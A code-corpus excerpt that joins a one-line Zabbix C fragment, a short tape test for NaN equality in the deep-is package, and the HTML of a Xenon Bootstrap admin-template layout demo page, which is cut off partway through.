zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); }
gplessis/dotdeb-zabbix
src/zabbix_server/operations.c
C
gpl-2.0
25,688
var test = require('tape'); var equal = require('../'); test('NaN and 0 values', function (t) { t.ok(equal(NaN, NaN)); t.notOk(equal(0, NaN)); t.ok(equal(0, 0)); t.notOk(equal(0, 1)); t.end(); }); test('nested NaN values', function (t) { t.ok(equal([ NaN, 1, NaN ], [ NaN, 1, NaN ])); t.end(); });
mikemcdaid/getonupband
sites/all/themes/getonupband/node_modules/deep-is/test/NaN.js
JavaScript
gpl-2.0
345
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="description" content="Xenon Boostrap Admin Panel" /> <meta name="author" content="" /> <title>Xenon - Both Menus &amp; Collapsed</title> <link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Arimo:400,700,400italic"> <link rel="stylesheet" href="assets/css/fonts/linecons/css/linecons.css"> <link rel="stylesheet" href="assets/css/fonts/fontawesome/css/font-awesome.min.css"> <link rel="stylesheet" href="assets/css/bootstrap.css"> <link rel="stylesheet" href="assets/css/xenon-core.css"> <link rel="stylesheet" href="assets/css/xenon-forms.css"> <link rel="stylesheet" href="assets/css/xenon-components.css"> <link rel="stylesheet" href="assets/css/xenon-skins.css"> <link rel="stylesheet" href="assets/css/custom.css"> <script src="assets/js/jquery-1.11.1.min.js"></script> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body class="page-body right-sidebar"> <div class="settings-pane"> <a href="#" data-toggle="settings-pane" data-animate="true"> &times; </a> <div class="settings-pane-inner"> <div class="row"> <div class="col-md-4"> <div class="user-info"> <div class="user-image"> <a href="extra-profile.html"> <img src="assets/images/user-2.png" class="img-responsive img-circle" /> </a> </div> <div class="user-details"> <h3> <a href="extra-profile.html">John Smith</a> <!-- Available statuses: is-online, is-idle, is-busy and is-offline --> <span class="user-status is-online"></span> </h3> <p class="user-title">Web Developer</p> <div class="user-links"> <a href="extra-profile.html" class="btn btn-primary">Edit Profile</a> <a href="extra-profile.html" class="btn btn-success">Upgrade</a> </div> </div> </div> </div> <div class="col-md-8 link-blocks-env"> <div class="links-block left-sep"> <h4> <span>Notifications</span> </h4> <ul class="list-unstyled"> <li> <input type="checkbox" class="cbr cbr-primary" checked="checked" id="sp-chk1" /> <label for="sp-chk1">Messages</label> </li> <li> <input type="checkbox" class="cbr cbr-primary" checked="checked" id="sp-chk2" /> <label for="sp-chk2">Events</label> </li> <li> <input type="checkbox" class="cbr cbr-primary" checked="checked" id="sp-chk3" /> <label for="sp-chk3">Updates</label> </li> <li> <input type="checkbox" class="cbr cbr-primary" checked="checked" id="sp-chk4" /> <label for="sp-chk4">Server Uptime</label> </li> </ul> </div> <div class="links-block left-sep"> <h4> <a href="#"> <span>Help Desk</span> </a> </h4> <ul class="list-unstyled"> <li> <a href="#"> <i class="fa-angle-right"></i> Support Center </a> </li> <li> <a href="#"> <i class="fa-angle-right"></i> Submit a Ticket </a> </li> <li> <a href="#"> <i class="fa-angle-right"></i> Domains Protocol </a> </li> <li> <a href="#"> <i class="fa-angle-right"></i> Terms of Service </a> </li> </ul> </div> </div> </div> </div> </div> <nav class="navbar horizontal-menu navbar-fixed-top"><!-- set fixed position by adding class "navbar-fixed-top" --> <div class="navbar-inner"> <!-- Navbar Brand --> <div class="navbar-brand"> <a href="dashboard-1.html" class="logo"> <img src="assets/images/logo-white-bg@2x.png" width="80" alt="" class="hidden-xs" /> <img src="assets/images/logo@2x.png" width="80" alt="" class="visible-xs" /> </a> <a href="#" data-toggle="settings-pane" data-animate="true"> <i class="linecons-cog"></i> </a> </div> <!-- Mobile Toggles Links --> <div class="nav navbar-mobile"> <!-- This will toggle the mobile menu and will be visible only on mobile devices --> <div class="mobile-menu-toggle"> <!-- This will open the popup with user profile settings, you can use for any purpose, just be creative --> <a href="#" data-toggle="settings-pane" data-animate="true"> <i class="linecons-cog"></i> </a> <a href="#" data-toggle="user-info-menu-horizontal"> <i class="fa-bell-o"></i> <span class="badge badge-success">7</span> </a> <!-- data-toggle="mobile-menu-horizontal" will show horizontal menu links only --> <!-- data-toggle="mobile-menu" will show sidebar menu links only --> <!-- data-toggle="mobile-menu-both" will show sidebar and horizontal menu links --> <a href="#" data-toggle="mobile-menu-horizontal"> <i class="fa-bars"></i> </a> </div> </div> <div class="navbar-mobile-clear"></div> <!-- main menu --> <ul class="navbar-nav"> <li> <a href="dashboard-1.html"> <i class="linecons-cog"></i> <span class="title">Dashboard</span> </a> <ul> <li> <a href="dashboard-1.html"> <span class="title">Dashboard 1</span> </a> </li> <li> <a href="dashboard-2.html"> <span class="title">Dashboard 2</span> </a> </li> <li> <a href="dashboard-3.html"> <span class="title">Dashboard 3</span> </a> </li> <li> <a href="dashboard-4.html"> <span class="title">Dashboard 4</span> </a> </li> <li> <a href="skin-generator.html"> <span class="title">Skin Generator</span> </a> </li> </ul> </li> <li class="opened active"> <a href="layout-variants.html"> <i class="linecons-desktop"></i> <span class="title">Layouts</span> </a> <ul> <li> <a href="layout-variants.html"> <span class="title">Layout Variants &amp; API</span> </a> </li> <li> <a href="layout-collapsed-sidebar.html"> <span class="title">Collapsed Sidebar</span> </a> </li> <li> <a href="layout-static-sidebar.html"> <span class="title">Static Sidebar</span> </a> </li> <li> <a href="layout-horizontal-menu.html"> <span class="title">Horizontal Menu</span> </a> </li> <li> <a href="layout-horizontal-plus-sidebar.html"> <span class="title">Horizontal &amp; Sidebar Menu</span> </a> </li> <li> <a href="layout-horizontal-menu-click-to-open-subs.html"> <span class="title">Horizontal Open On Click</span> </a> </li> <li> <a href="layout-horizontal-menu-min.html"> <span class="title">Horizontal Menu Minimal</span> </a> </li> <li> <a href="layout-right-sidebar.html"> <span class="title">Right Sidebar</span> </a> </li> <li> <a href="layout-chat-open.html"> <span class="title">Chat Open</span> </a> </li> <li class="active"> <a href="layout-horizontal-sidebar-menu-collapsed-right.html"> <span class="title">Both Menus &amp; Collapsed</span> </a> </li> <li> <a href="layout-boxed.html"> <span class="title">Boxed Layout</span> </a> </li> <li> <a href="layout-boxed-horizontal-menu.html"> <span class="title">Boxed &amp; Horizontal Menu</span> </a> </li> </ul> </li> <li> <a href="ui-panels.html"> <i class="linecons-note"></i> <span class="title">UI Elements</span> </a> <ul> <li> <a href="ui-panels.html"> <span class="title">Panels</span> </a> </li> <li> <a href="ui-buttons.html"> <span class="title">Buttons</span> </a> </li> <li> <a href="ui-tabs-accordions.html"> <span class="title">Tabs &amp; Accordions</span> </a> </li> <li> <a href="ui-modals.html"> <span class="title">Modals</span> </a> </li> <li> <a href="ui-breadcrumbs.html"> <span class="title">Breadcrumbs</span> </a> </li> <li> <a href="ui-blockquotes.html"> <span class="title">Blockquotes</span> </a> </li> <li> <a href="ui-progressbars.html"> <span class="title">Progress Bars</span> </a> </li> <li> <a href="ui-navbars.html"> <span class="title">Navbars</span> </a> </li> <li> <a href="ui-alerts.html"> <span class="title">Alerts</span> </a> </li> <li> <a href="ui-pagination.html"> <span class="title">Pagination</span> </a> </li> <li> <a href="ui-typography.html"> <span class="title">Typography</span> </a> </li> <li> <a href="ui-other-elements.html"> <span class="title">Other Elements</span> </a> </li> </ul> </li> <li> <a href="forms-native.html"> <i class="linecons-params"></i> <span class="title">Forms</span> </a> <ul> <li> <a href="forms-native.html"> <span class="title">Native Elements</span> </a> </li> <li> <a href="forms-advanced.html"> <span class="title">Advanced Plugins</span> </a> </li> <li> <a href="forms-wizard.html"> <span class="title">Form Wizard</span> </a> </li> <li> <a href="forms-validation.html"> <span class="title">Form Validation</span> </a> </li> <li> <a href="forms-input-masks.html"> <span class="title">Input Masks</span> </a> </li> <li> <a href="forms-file-upload.html"> <span class="title">File Upload</span> </a> </li> <li> <a href="forms-editors.html"> <span class="title">Editors</span> </a> </li> <li> <a href="forms-sliders.html"> <span class="title">Sliders</span> </a> </li> </ul> </li> <li> <a href=""> <i class="linecons-diamond"></i> <span class="title">Other</span> </a> <ul> <li> <a href="ui-widgets.html"> <i class="linecons-star"></i> <span class="title">Widgets</span> </a> </li> <li> <a href="mailbox-main.html"> <i class="linecons-mail"></i> <span class="title">Mailbox</span> <span class="label label-success pull-right">5</span> </a> <ul> <li> <a href="mailbox-main.html"> <span class="title">Inbox</span> </a> </li> <li> <a href="mailbox-compose.html"> <span class="title">Compose Message</span> </a> </li> <li> <a href="mailbox-message.html"> <span class="title">View Message</span> </a> </li> </ul> </li> <li> <a href="tables-basic.html"> <i class="linecons-database"></i> <span class="title">Tables</span> </a> <ul> <li> <a href="tables-basic.html"> <span class="title">Basic Tables</span> </a> </li> <li> <a href="tables-responsive.html"> <span class="title">Responsive Table</span> </a> </li> <li> <a href="tables-datatables.html"> <span class="title">Data Tables</span> </a> </li> </ul> </li> <li> <a href="extra-gallery.html"> <i class="linecons-beaker"></i> <span class="title">Extra</span> <span class="label label-purple pull-right hidden-collapsed">New Items</span> </a> <ul> <li> <a href="extra-icons-fontawesome.html"> <span class="title">Icons</span> <span class="label label-warning pull-right">4</span> </a> <ul> <li> <a href="extra-icons-fontawesome.html"> <span class="title">Font Awesome</span> </a> </li> <li> <a href="extra-icons-linecons.html"> <span class="title">Linecons</span> </a> </li> <li> <a href="extra-icons-elusive.html"> <span class="title">Elusive</span> </a> </li> <li> <a href="extra-icons-meteocons.html"> <span class="title">Meteocons</span> </a> </li> </ul> </li> <li> <a href="extra-maps-google.html"> <span class="title">Maps</span> </a> <ul> <li> <a href="extra-maps-google.html"> <span class="title">Google Maps</span> </a> </li> <li> <a href="extra-maps-advanced.html"> <span class="title">Advanced Map</span> </a> </li> <li> <a href="extra-maps-vector.html"> <span class="title">Vector Map</span> </a> </li> </ul> </li> <li> <a href="extra-gallery.html"> <span class="title">Gallery</span> </a> </li> <li> <a href="extra-calendar.html"> <span class="title">Calendar</span> </a> </li> <li> <a href="extra-profile.html"> <span class="title">Profile</span> </a> </li> <li> <a href="extra-login.html"> <span class="title">Login</span> </a> </li> <li> <a href="extra-lockscreen.html"> <span class="title">Lockscreen</span> </a> </li> <li> <a href="extra-login-light.html"> <span class="title">Login Light</span> </a> </li> <li> <a href="extra-timeline.html"> <span class="title">Timeline</span> </a> </li> <li> <a href="extra-timeline-center.html"> <span class="title">Timeline Centerd</span> </a> </li> <li> <a href="extra-notes.html"> <span class="title">Notes</span> </a> </li> <li> <a href="extra-image-crop.html"> <span class="title">Image Crop</span> </a> </li> <li> <a href="extra-portlets.html"> <span class="title">Portlets</span> </a> </li> <li> <a href="blank-sidebar.html"> <span class="title">Blank Page</span> </a> </li> <li> <a href="extra-search.html"> <span class="title">Search</span> </a> </li> <li> <a href="extra-invoice.html"> <span class="title">Invoice</span> </a> </li> <li> <a href="extra-not-found.html"> <span class="title">404 Page</span> </a> </li> <li> <a href="extra-tocify.html"> <span class="title">Tocify</span> </a> </li> <li> <a href="extra-loader.html"> <span class="title">Loading Progress</span> </a> </li> <li> <a href="extra-page-loading-ol.html"> <span class="title">Page Loading Overlay</span> </a> </li> <li> <a href="extra-notifications.html"> <span class="title">Notifications</span> </a> </li> <li> <a href="extra-nestable-lists.html"> <span class="title">Nestable Lists</span> </a> </li> <li> <a href="extra-scrollable.html"> <span class="title">Scrollable</span> </a> </li> </ul> </li> <li> <a href="charts-main.html"> <i class="linecons-globe"></i> <span class="title">Charts</span> </a> <ul> <li> <a href="charts-main.html"> <span class="title">Chart Variants</span> </a> </li> <li> <a href="charts-range.html"> <span class="title">Range Selector</span> </a> </li> <li> <a href="charts-sparklines.html"> <span class="title">Sparklines</span> </a> </li> <li> <a href="charts-map.html"> <span class="title">Map Charts</span> </a> </li> <li> <a href="charts-gauges.html"> <span class="title">Circular Gauges</span> </a> </li> <li> <a href="charts-bar-gauges.html"> <span class="title">Bar Gauges</span> </a> </li> </ul> </li> <li> <a href="#"> <i class="linecons-cloud"></i> <span class="title">Menu Levels</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.1</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.1</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.2</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-cascade"></i> <span class="title">Menu Level 3.1</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-cascade"></i> <span class="title">Menu Level 3.2</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-branch"></i> <span class="title">Menu Level 4.1</span> </a> </li> </ul> </li> </ul> </li> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.3</span> </a> </li> </ul> </li> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.2</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.3</span> </a> </li> </ul> </li> </ul> </li> </ul> <!-- notifications and other links --> <ul class="nav nav-userinfo navbar-right"> <li class="search-form"><!-- You can add "always-visible" to show make the search input visible --> <form method="get" action="extra-search.html"> <input type="text" name="s" class="form-control search-field" placeholder="Type to search..." /> <button type="submit" class="btn btn-link"> <i class="linecons-search"></i> </button> </form> </li> <li class="dropdown xs-left"> <a href="#" data-toggle="dropdown" class="notification-icon"> <i class="fa-envelope-o"></i> <span class="badge badge-green">15</span> </a> <ul class="dropdown-menu messages"> <li> <ul class="dropdown-menu-list list-unstyled ps-scrollbar"> <li class="active"><!-- "active" class means message is unread --> <a href="#"> <span class="line"> <strong>Luc Chartier</strong> <span class="light small">- yesterday</span> </span> <span class="line desc small"> This ain’t our first item, it is the best of the rest. </span> </a> </li> <li class="active"> <a href="#"> <span class="line"> <strong>Salma Nyberg</strong> <span class="light small">- 2 days ago</span> </span> <span class="line desc small"> Oh he decisively impression attachment friendship so if everything. </span> </a> </li> <li> <a href="#"> <span class="line"> Hayden Cartwright <span class="light small">- a week ago</span> </span> <span class="line desc small"> Whose her enjoy chief new young. Felicity if ye required likewise so doubtful. </span> </a> </li> <li> <a href="#"> <span class="line"> Sandra Eberhardt <span class="light small">- 16 days ago</span> </span> <span class="line desc small"> On so attention necessary at by provision otherwise existence direction. </span> </a> </li> <!-- Repeated --> <li class="active"><!-- "active" class means message is unread --> <a href="#"> <span class="line"> <strong>Luc Chartier</strong> <span class="light small">- yesterday</span> </span> <span class="line desc small"> This ain’t our first item, it is the best of the rest. </span> </a> </li> <li class="active"> <a href="#"> <span class="line"> <strong>Salma Nyberg</strong> <span class="light small">- 2 days ago</span> </span> <span class="line desc small"> Oh he decisively impression attachment friendship so if everything. </span> </a> </li> <li> <a href="#"> <span class="line"> Hayden Cartwright <span class="light small">- a week ago</span> </span> <span class="line desc small"> Whose her enjoy chief new young. Felicity if ye required likewise so doubtful. </span> </a> </li> <li> <a href="#"> <span class="line"> Sandra Eberhardt <span class="light small">- 16 days ago</span> </span> <span class="line desc small"> On so attention necessary at by provision otherwise existence direction. </span> </a> </li> </ul> </li> <li class="external"> <a href="blank-sidebar.html"> <span>All Messages</span> <i class="fa-link-ext"></i> </a> </li> </ul> </li> <li class="dropdown xs-left"> <a href="#" data-toggle="dropdown" class="notification-icon notification-icon-messages"> <i class="fa-bell-o"></i> <span class="badge badge-purple">7</span> </a> <ul class="dropdown-menu notifications"> <li class="top"> <p class="small"> <a href="#" class="pull-right">Mark all Read</a> You have <strong>3</strong> new notifications. </p> </li> <li> <ul class="dropdown-menu-list list-unstyled ps-scrollbar"> <li class="active notification-success"> <a href="#"> <i class="fa-user"></i> <span class="line"> <strong>New user registered</strong> </span> <span class="line small time"> 30 seconds ago </span> </a> </li> <li class="active notification-secondary"> <a href="#"> <i class="fa-lock"></i> <span class="line"> <strong>Privacy settings have been changed</strong> </span> <span class="line small time"> 3 hours ago </span> </a> </li> <li class="notification-primary"> <a href="#"> <i class="fa-thumbs-up"></i> <span class="line"> <strong>Someone special liked this</strong> </span> <span class="line small time"> 2 minutes ago </span> </a> </li> <li class="notification-danger"> <a href="#"> <i class="fa-calendar"></i> <span class="line"> John cancelled the event </span> <span class="line small time"> 9 hours ago </span> </a> </li> <li class="notification-info"> <a href="#"> <i class="fa-database"></i> <span class="line"> The server is status is stable </span> <span class="line small time"> yesterday at 10:30am </span> </a> </li> <li class="notification-warning"> <a href="#"> <i class="fa-envelope-o"></i> <span class="line"> New comments waiting approval </span> <span class="line small time"> last week </span> </a> </li> </ul> </li> <li class="external"> <a href="#"> <span>View all notifications</span> <i class="fa-link-ext"></i> </a> </li> </ul> </li> <li class="dropdown user-profile"> <a href="#" data-toggle="dropdown"> <img src="assets/images/user-1.png" alt="user-image" class="img-circle img-inline userpic-32" width="28" /> <span> Arlind Nushi <i class="fa-angle-down"></i> </span> </a> <ul class="dropdown-menu user-profile-menu list-unstyled"> <li> <a href="#edit-profile"> <i class="fa-edit"></i> New Post </a> </li> <li> <a href="#settings"> <i class="fa-wrench"></i> Settings </a> </li> <li> <a href="#profile"> <i class="fa-user"></i> Profile </a> </li> <li> <a href="#help"> <i class="fa-info"></i> Help </a> </li> <li class="last"> <a href="extra-lockscreen.html"> <i class="fa-lock"></i> Logout </a> </li> </ul> </li> <li> <a href="#" data-toggle="chat"> <i class="fa-comments-o"></i> </a> </li> </ul> </div> </nav> <div class="page-container"><!-- add class "sidebar-collapsed" to close sidebar by default, "chat-visible" to make chat appear always --> <!-- Add "fixed" class to make the sidebar fixed always to the browser viewport. --> <!-- Adding class "toggle-others" will keep only one menu item open at a time. --> <!-- Adding class "collapsed" collapse sidebar root elements and show only icons. --> <div class="sidebar-menu toggle-others collapsed"> <div class="sidebar-menu-inner"> <ul id="main-menu" class="main-menu"> <!-- add class "multiple-expanded" to allow multiple submenus to open --> <!-- class "auto-inherit-active-class" will automatically add "active" class for parent elements who are marked already with class "active" --> <li> <a href="dashboard-1.html"> <i class="linecons-cog"></i> <span class="title">Dashboard</span> </a> <ul> <li> <a href="dashboard-1.html"> <span class="title">Dashboard 1</span> </a> </li> <li> <a href="dashboard-2.html"> <span class="title">Dashboard 2</span> </a> </li> <li> <a href="dashboard-3.html"> <span class="title">Dashboard 3</span> </a> </li> <li> <a href="dashboard-4.html"> <span class="title">Dashboard 4</span> </a> </li> <li> <a href="skin-generator.html"> <span class="title">Skin Generator</span> </a> </li> </ul> </li> <li class="opened active"> <a href="layout-variants.html"> <i class="linecons-desktop"></i> <span class="title">Layouts</span> </a> <ul> <li> <a href="layout-variants.html"> <span class="title">Layout Variants &amp; API</span> </a> </li> <li> <a href="layout-collapsed-sidebar.html"> <span class="title">Collapsed Sidebar</span> </a> </li> <li> <a href="layout-static-sidebar.html"> <span class="title">Static Sidebar</span> </a> </li> <li> <a href="layout-horizontal-menu.html"> <span class="title">Horizontal Menu</span> </a> </li> <li> <a href="layout-horizontal-plus-sidebar.html"> <span class="title">Horizontal &amp; Sidebar Menu</span> </a> </li> <li> <a href="layout-horizontal-menu-click-to-open-subs.html"> <span class="title">Horizontal Open On Click</span> </a> </li> <li> <a href="layout-horizontal-menu-min.html"> <span class="title">Horizontal Menu Minimal</span> </a> </li> <li> <a href="layout-right-sidebar.html"> <span class="title">Right Sidebar</span> </a> </li> <li> <a href="layout-chat-open.html"> <span class="title">Chat Open</span> </a> </li> <li class="active"> <a href="layout-horizontal-sidebar-menu-collapsed-right.html"> <span class="title">Both Menus &amp; Collapsed</span> </a> </li> <li> <a href="layout-boxed.html"> <span class="title">Boxed Layout</span> </a> </li> <li> <a href="layout-boxed-horizontal-menu.html"> <span class="title">Boxed &amp; Horizontal Menu</span> </a> </li> </ul> </li> <li> <a href="ui-panels.html"> <i class="linecons-note"></i> <span class="title">UI Elements</span> </a> <ul> <li> <a href="ui-panels.html"> <span class="title">Panels</span> </a> </li> <li> <a href="ui-buttons.html"> <span class="title">Buttons</span> </a> </li> <li> <a href="ui-tabs-accordions.html"> <span class="title">Tabs &amp; Accordions</span> </a> </li> <li> <a href="ui-modals.html"> <span class="title">Modals</span> </a> </li> <li> <a href="ui-breadcrumbs.html"> <span class="title">Breadcrumbs</span> </a> </li> <li> <a href="ui-blockquotes.html"> <span class="title">Blockquotes</span> </a> </li> <li> <a href="ui-progressbars.html"> <span class="title">Progress Bars</span> </a> </li> <li> <a href="ui-navbars.html"> <span class="title">Navbars</span> </a> </li> <li> <a href="ui-alerts.html"> <span class="title">Alerts</span> </a> </li> <li> <a href="ui-pagination.html"> <span class="title">Pagination</span> </a> </li> <li> <a href="ui-typography.html"> <span class="title">Typography</span> </a> </li> <li> <a href="ui-other-elements.html"> <span class="title">Other Elements</span> </a> </li> </ul> </li> <li> <a href="ui-widgets.html"> <i class="linecons-star"></i> <span class="title">Widgets</span> </a> </li> <li> <a href="mailbox-main.html"> <i class="linecons-mail"></i> <span class="title">Mailbox</span> <span class="label label-success pull-right">5</span> </a> <ul> <li> <a href="mailbox-main.html"> <span class="title">Inbox</span> </a> </li> <li> <a href="mailbox-compose.html"> <span class="title">Compose Message</span> </a> </li> <li> <a href="mailbox-message.html"> <span class="title">View Message</span> </a> </li> </ul> </li> <li> <a href="tables-basic.html"> <i class="linecons-database"></i> <span class="title">Tables</span> </a> <ul> <li> <a href="tables-basic.html"> <span class="title">Basic Tables</span> </a> </li> <li> <a href="tables-responsive.html"> <span class="title">Responsive Table</span> </a> </li> <li> <a href="tables-datatables.html"> <span class="title">Data Tables</span> </a> </li> </ul> </li> <li> <a href="forms-native.html"> <i class="linecons-params"></i> <span class="title">Forms</span> </a> <ul> <li> <a href="forms-native.html"> <span class="title">Native Elements</span> </a> </li> <li> <a href="forms-advanced.html"> <span class="title">Advanced Plugins</span> </a> </li> <li> <a href="forms-wizard.html"> <span class="title">Form Wizard</span> </a> </li> <li> <a href="forms-validation.html"> <span class="title">Form Validation</span> </a> </li> <li> <a href="forms-input-masks.html"> <span class="title">Input Masks</span> </a> </li> <li> <a href="forms-file-upload.html"> <span class="title">File Upload</span> </a> </li> <li> <a href="forms-editors.html"> <span class="title">Editors</span> </a> </li> <li> <a href="forms-sliders.html"> <span class="title">Sliders</span> </a> </li> </ul> </li> <li> <a href="extra-gallery.html"> <i class="linecons-beaker"></i> <span class="title">Extra</span> <span class="label label-purple pull-right hidden-collapsed">New Items</span> </a> <ul> <li> <a href="extra-icons-fontawesome.html"> <span class="title">Icons</span> <span class="label label-warning pull-right">4</span> </a> <ul> <li> <a href="extra-icons-fontawesome.html"> <span class="title">Font Awesome</span> </a> </li> <li> <a href="extra-icons-linecons.html"> <span class="title">Linecons</span> </a> </li> <li> <a href="extra-icons-elusive.html"> <span class="title">Elusive</span> </a> </li> <li> <a href="extra-icons-meteocons.html"> <span class="title">Meteocons</span> </a> </li> </ul> </li> <li> <a href="extra-maps-google.html"> <span class="title">Maps</span> </a> <ul> <li> <a href="extra-maps-google.html"> <span class="title">Google Maps</span> </a> </li> <li> <a href="extra-maps-advanced.html"> <span class="title">Advanced Map</span> </a> </li> <li> <a href="extra-maps-vector.html"> <span class="title">Vector Map</span> </a> </li> </ul> </li> <li> <a href="extra-gallery.html"> <span class="title">Gallery</span> </a> </li> <li> <a href="extra-calendar.html"> <span class="title">Calendar</span> </a> </li> <li> <a href="extra-profile.html"> <span class="title">Profile</span> </a> </li> <li> <a href="extra-login.html"> <span class="title">Login</span> </a> </li> <li> <a href="extra-lockscreen.html"> <span class="title">Lockscreen</span> </a> </li> <li> <a href="extra-login-light.html"> <span class="title">Login Light</span> </a> </li> <li> <a href="extra-timeline.html"> <span class="title">Timeline</span> </a> </li> <li> <a href="extra-timeline-center.html"> <span class="title">Timeline Centerd</span> </a> </li> <li> <a href="extra-notes.html"> <span class="title">Notes</span> </a> </li> <li> <a href="extra-image-crop.html"> <span class="title">Image Crop</span> </a> </li> <li> <a href="extra-portlets.html"> <span class="title">Portlets</span> </a> </li> <li> <a href="blank-sidebar.html"> <span class="title">Blank Page</span> </a> </li> <li> <a href="extra-search.html"> <span class="title">Search</span> </a> </li> <li> <a href="extra-invoice.html"> <span class="title">Invoice</span> </a> </li> <li> <a href="extra-not-found.html"> <span class="title">404 Page</span> </a> </li> <li> <a href="extra-tocify.html"> <span class="title">Tocify</span> </a> </li> <li> <a href="extra-loader.html"> <span class="title">Loading Progress</span> </a> </li> <li> <a href="extra-page-loading-ol.html"> <span class="title">Page Loading Overlay</span> </a> </li> <li> <a href="extra-notifications.html"> <span class="title">Notifications</span> </a> </li> <li> <a href="extra-nestable-lists.html"> <span class="title">Nestable Lists</span> </a> </li> <li> <a href="extra-scrollable.html"> <span class="title">Scrollable</span> </a> </li> </ul> </li> <li> <a href="charts-main.html"> <i class="linecons-globe"></i> <span class="title">Charts</span> </a> <ul> <li> <a href="charts-main.html"> <span class="title">Chart Variants</span> </a> </li> <li> <a href="charts-range.html"> <span class="title">Range Selector</span> </a> </li> <li> <a href="charts-sparklines.html"> <span class="title">Sparklines</span> </a> </li> <li> <a href="charts-map.html"> <span class="title">Map Charts</span> </a> </li> <li> <a href="charts-gauges.html"> <span class="title">Circular Gauges</span> </a> </li> <li> <a href="charts-bar-gauges.html"> <span class="title">Bar Gauges</span> </a> </li> </ul> </li> <li> <a href="#"> <i class="linecons-cloud"></i> <span class="title">Menu Levels</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.1</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.1</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.2</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-cascade"></i> <span class="title">Menu Level 3.1</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-cascade"></i> <span class="title">Menu Level 3.2</span> </a> <ul> <li> <a href="#"> <i class="entypo-flow-branch"></i> <span class="title">Menu Level 4.1</span> </a> </li> </ul> </li> </ul> </li> <li> <a href="#"> <i class="entypo-flow-parallel"></i> <span class="title">Menu Level 2.3</span> </a> </li> </ul> </li> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.2</span> </a> </li> <li> <a href="#"> <i class="entypo-flow-line"></i> <span class="title">Menu Level 1.3</span> </a> </li> </ul> </li> </ul> </div> </div> <div class="main-content"> <script> jQuery(document).ready(function($) { $('a[href="#layout-variants"]').on('click', function(ev) { ev.preventDefault(); var win = {top: $(window).scrollTop(), toTop: $("#layout-variants").offset().top - 15}; TweenLite.to(win, .3, {top: win.toTop, roundProps: ["top"], ease: Sine.easeInOut, onUpdate: function() { $(window).scrollTop(win.top); } }); }); }); </script> <div class="jumbotron"> <h1>Layout API</h1> <p> Xenon Theme layout can be combined in many variants with sidebar and horizontal menu and offers a set of toggles (links) to manipulate with the theme layout. These features are enabled if you import <code>js/xenon-toggles.js</code> script in the document. </p> <br /> <a class="btn btn-primary btn-lg" href="#layout-variants" role="button">See Layout Variants</a> </div> <h3 id="layout-toggles"> Layout Toggles <br /> <small>Links that will automatically collapse or expand side panels, chat or user settings pane.</small> </h3> <br /> <div class="row"> <div class="col-xs-3 text-muted">Link</div> <div class="col-xs-9 text-muted">Code</div> <div class="vspacer v3"></div> <div class="col-sm-3"> <a href="#" class="btn btn-secondary btn-block btn-icon btn-icon-standalone text-left" data-toggle="sidebar"> <i class="fa-bars"></i> <span>Toggle Sidebar</span> </a> </div> <div class="col-sm-9"> <pre>&lt;a href=&quot;#&quot; data-toggle=&quot;sidebar&quot;&gt;Toggle Sidebar&lt;/a&gt;</pre> </div> <div class="clearfix"></div> <div class="vspacer v4"></div> <div class="col-sm-3"> <a href="#" class="btn btn-secondary btn-block btn-icon btn-icon-standalone text-left" data-toggle="chat"> <i class="fa-comment-o"></i> <span>Toggle Chat</span> </a> </div> <div class="col-sm-9"> <pre>&lt;a href=&quot;#&quot; data-toggle=&quot;chat&quot;&gt;Toggle Chat&lt;/a&gt;</pre> </div> <div class="clearfix"></div> <div class="vspacer v4"></div> <div class="col-sm-3"> <a href="#" class="btn btn-secondary btn-block btn-icon btn-icon-standalone text-left" data-toggle="settings-pane"> <i class="linecons-user"></i> <span>Toggle Settings Pane</span> </a> </div> <div class="col-sm-9"> <pre>&lt;a href=&quot;#&quot; data-toggle=&quot;chat&quot;&gt;Toggle Settings Pane&lt;/a&gt;</pre> </div> <div class="clearfix"></div> <div class="vspacer v4"></div> <div class="col-sm-3"> <a href="#" class="btn btn-secondary btn-block btn-icon btn-icon-standalone text-left" data-toggle="settings-pane" data-animate="true"> <i class="linecons-cog"></i> <span>Settings Pane /w Animation</span> </a> </div> <div class="col-sm-9"> <pre>&lt;a href=&quot;#&quot; data-toggle=&quot;chat&quot; data-animate=&quot;true&quot;&gt;Toggle Settings Pane&lt;/a&gt;</pre> </div> <div class="clearfix"></div> <div class="vspacer v4"></div> <div class="col-sm-3"> <a href="#" class="btn btn-secondary btn-block btn-icon btn-icon-standalone text-left" rel="go-top"> <i class="fa-arrow-up"></i> <span>Go to Top</span> </a> </div> <div class="col-sm-9"> <pre>&lt;a href=&quot;#&quot; rel=&quot;go-top&quot;&gt;Go to Top&lt;/a&gt;</pre> </div> </div> <br /> <br /> <h3 id="layout-variants"> Layout Variants <br /> <small>9 different layout types with fixed or static scrolling panels</small> </h3> <div class="panel panel-default panel-headerless"> <div class="panel-body layout-variants"> <div class="row"> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-variants.html"> 